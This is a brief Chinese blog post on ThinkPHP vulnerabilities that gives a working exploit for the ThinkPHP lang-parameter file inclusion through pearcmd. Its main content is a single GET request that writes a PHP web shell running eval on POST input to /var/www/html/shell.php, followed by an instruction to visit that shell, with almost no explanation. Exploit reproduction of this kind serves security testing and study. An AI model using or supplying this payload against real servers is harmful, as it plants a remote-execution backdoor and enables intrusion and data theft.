Thinkphp相关漏洞

Thinkphp版本主要有3、5、6，相关漏洞比较多，可以使用两款工具来探测。

 

工具未集成的漏洞存在thinkphp lang 命令执行

thinkphp lang 命令执行

环境启动

 PAYLOAD

GET /public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php HTTP/1.1

 

 

 之后访问shell.php

 

posted @   re8sd1  阅读(53)  评论(0)  编辑  收藏  举报
相关博文：
·  struts2相关漏洞
·  apache相关漏洞
·  Thinkphp漏洞复现
·  ThinkPHP 多语言本地文件包含漏洞
·  公司网站有漏洞怎么解决
阅读排行：
· TypeScript + Deepseek 打造卜卦网站：技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗？
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句：使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维：从隐藏、稳定开始理解其本质意义
点击右上角即可分享
微信分享提示
SQL AI 助手